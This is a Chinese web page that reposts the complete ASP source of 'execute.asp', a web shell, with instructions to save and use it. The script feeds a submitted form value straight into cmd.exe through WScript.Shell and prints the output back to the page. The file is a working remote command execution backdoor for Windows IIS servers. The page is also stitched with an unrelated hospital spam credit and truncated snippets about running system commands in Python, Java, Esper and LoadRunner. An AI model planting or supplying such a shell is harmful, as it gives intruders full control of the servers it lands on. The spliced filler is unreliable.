可以执行系统命令的ASP原码放送

注意的是,程序运行必须有FileSystemObject支持。以下是远程执行命令的原代码。 
  copy下来另存为execute.asp.

  <html>

  <head> 
  <meta http-equiv="Content-Language" content="zh-cn"> 
  <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
  <meta name="GENERATOR" content="Microsoft FrontPage 4.0"> 
  <meta name="ProgId" content="FrontPage.Editor.Document"> 
  <title>执行命令</title> 
  <style> 
  <!-- 
  table,body{ font-family: 宋体; font-size: 9pt } 
  a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64);

  text-decoration: none } 
  a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none

  } 
  a:visited{ color: rgb(128,0,0) } 
  --> 
  </style>

  </head>

  <body bgcolor="#000000" text="#C0C0C0">

  <form method="POST" action="execute.asp"> 
  <p align="left">输入要执行的命令:<input type="text" name="ml"

  size="20" value="dir c:\" Apple-converted-space">

  #000000; border-style: solid; border-width: 1"> 
  <input type="submit" value="执行" name="B1" Apple-converted-space">

  #C0C0C0; color: #000000; border: 1 groove #C0C0C0"></p> 
  </form> 
  <% 
  ml=request.form("ml") 
  cmd="c:\winnt\system32\cmd.exe /c "&ml&" >c:\whoamI.txt" ‘修改

  whoamI.txt路径到一个有写权限的目录 
  Set WShShell = Server.CreateObject("WScript.Shell") 
  RetCode = WShShell.Run(cmd, 1, True) 
  if RetCode = 0 Then 
  Response.write ml & " " 
  Response.write " 命令成功执行!"&"<br><br>" 
  else 
  Response.write " 命令执行失败!权限不够或者该程序无法在DOS状态下运行

  !"&"<br><br>"

  end if 
  ‘response.write cmd

  function htmlencode(str) 
  dim result 
  dim l 
  if isNULL(str) then 
  htmlencode="" 
  exit function 
  end if 
  l=len(str) 
  result="" 
  dim i 
  for i = 1 to l 
  select case mid(str,i,1) 
  case "<" 
  result=result+"<" 
  case ">" 
  result=result+">" 
  case chr(34) 
  result=result+""" 
  case "&" 
  result=result+"&" 
  case else 
  result=result+mid(str,i,1) 
  end select 
  next 
  htmlencode=result 
  end function 
  Set fs =CreateObject("Scripting.FileSystemObject") 
  Set thisfile = fs.OpenTextFile("c:/whoamI.txt", 1, False) ‘读文件,别忘

  了修改路径. 
  counter=0 
  do while not thisfile.atendofstream 
  counter=counter+1 
  thisline=htmlencode(thisfile.readline) 
  response.write thisline&"<br>" 
  loop 
  thisfile.Close 
  set fs=nothing 
  %>

  </body>

  </html>

  请勿将此程序用于非法途径,由此引起的一切后果由使用者承担。

上海治疗阳痿医院编辑整理

时间: 2024-12-17 15:26:06

可以执行系统命令的ASP原码放送的相关文章

windows linux 使用python执行系统命令并将结果保存到变量

最近需要用到os.system 发现不能赋值到变量 后查有更新的模块,如下: os.system os.spawn* os.popen* popen2.* commands.* 重新使用content=os.popen('help').read() 就能获取到了 import pyodbcimport sysimport osimport commands #python conn sql server2008R2conn = pyodbc.connect( driver='{sql serve

Esper调用Java代码执行系统命令

Esper语言是可以调用高级语言的静态方法的: 以调用Java的静态方法执行系统命令为例: select Runtime.getRuntime().exec(\"calc\"),avg(price) from " + product + ".win:length_batch(3) 完整代码可以参考如下链接: http://blog.csdn.net/luonanqin/article/details/9900295

Python执行系统命令的方法

Python中执行系统命令常见方法有两种: 两者均需 import os (1) os.system # 仅仅在一个子终端运行系统命令,而不能获取命令执行后的返回信息 system(command) -> exit_statusExecute the command (a string) in a subshell. # 如果再命令行下执行,结果直接打印出来 1 >>> os.system('ls') 2 04101419778.CHM   bash      document  

java中执行系统命令

java程序中执行系统命令猛击下面的链接看看你就知道怎么用了 http://blog.csdn.net/a19881029/article/details/8063758 http://wuhongyu.iteye.com/blog/461477/ http://www.blogjava.net/fastzch/archive/2008/07/08/213477.html

在Loadrunner中如何用system函数执行系统命令

前提: windows 系统 实现功能:用 LR 中的system函数执行系统命令 相关功能:在LR中利用C函数建立文件,写文件,读文件. 主要相关函数:sprintf/fopen/fgetc/fread/fclose Action() { int count,total=0,i; char buffer[1000]; long file_stream; char fil 前提:windows系统 实现功能:用LR中的system函数执行系统命令 相关功能:在LR中利用C函数建立文件,写文件,读

Python中执行系统命令常见的几种方法--转载

Python中执行系统命令常见的几种方法 Python中执行系统命令常见的几种方法有: (1)os.system # 仅仅在一个子终端运行系统命令,而不能获取命令执行后的返回信息 # 如果再命令行下执行,结果直接打印出来 例如: >>> import os >>> os.system('ls') chk_err_log.py CmdTool.log  install_log.txt  install_zabbix.sh  manage_deploy.sh  MegaSA

执行系统命令

执行系统命令 os.system os.spawn* os.popen popen2.* commands.* 后面三个已经废弃,以上执行shell命令的相关的模块和函数的功能均在subprocess模块中实现,并提供了更加丰富的功能 call 执行命令,返回状态码. import subprocess ret1 = subprocess.call(["ls","-l"],shell=False) print ret1 ret2 = subprocess.call(

OpenCV之识别自己的脸——C++源码放送

OpenCV之识别自己的脸--C++源码放送 前言 在将近一年之前,我在CSDN专栏<OpenCV实践之路>中连续发了三篇博客,完整地描述了基于OpenCV进行人脸识别的全过程.三篇都将近一万的阅读量和大量的评论的表明,人脸识别果然是大家在学习OpenCV过程中最感兴趣的课题,之一.当然,也有可能是本科生毕设老师最感兴趣的课题之一... 由于当时写的时候是按照前后流程来的,所以源码比较分散.加之我想当然地认为,很多源码是之前博客中已经放出来的,可以一句带过.这导致了很多同学学习的时候很不方面.

python Subprocess执行系统命令管道、读取结果【多进程,进程间管道通信】

# -*- coding:utf-8 -*- __author__ = 'magicpwn' import subprocess import sys reload(sys) sys.setdefaultencoding('utf-8') # 执行命令的两个函数,新建进程执行系统命令 s = subprocess.check_call('dir', shell=True) p = subprocess.call('dir', shell=True) print s, p # 执行命令并捕获系统命